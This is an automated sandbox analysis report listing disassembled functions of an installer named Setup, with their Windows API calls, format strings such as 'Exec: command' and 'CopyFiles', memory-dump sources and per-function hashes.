Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: success ("%s"), xrefs: 00402263
Exec: command="%s", xrefs: 00402241
Exec: failed createprocess ("%s"), xrefs: 004022C2

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00015000,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

@rD, xrefs: 00404402
%u.%u%s%s, xrefs: 00404444

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 62d1a696c90b95282af5dc14f7046faf50b68b39d5c561db380251ecdb666397
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 62d1a696c90b95282af5dc14f7046faf50b68b39d5c561db380251ecdb666397
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegKey: "%s\%s", xrefs: 00402843
DeleteRegValue: "%s\%s" "%s", xrefs: 00402820

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

@rD, xrefs: 00404934
, xrefs: 004048DA

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

..., xrefs: 00406293
%02x%c, xrefs: 00406270

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Section: "%s", xrefs: 00405079
Skipping section: "%s", xrefs: 004050B5

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 65b4e2bc04cdfc761cbb664ad7f9fd0a470a6c6464aa2ef3bfae8e7c7ff5a66d
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 65b4e2bc04cdfc761cbb664ad7f9fd0a470a6c6464aa2ef3bfae8e7c7ff5a66d
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

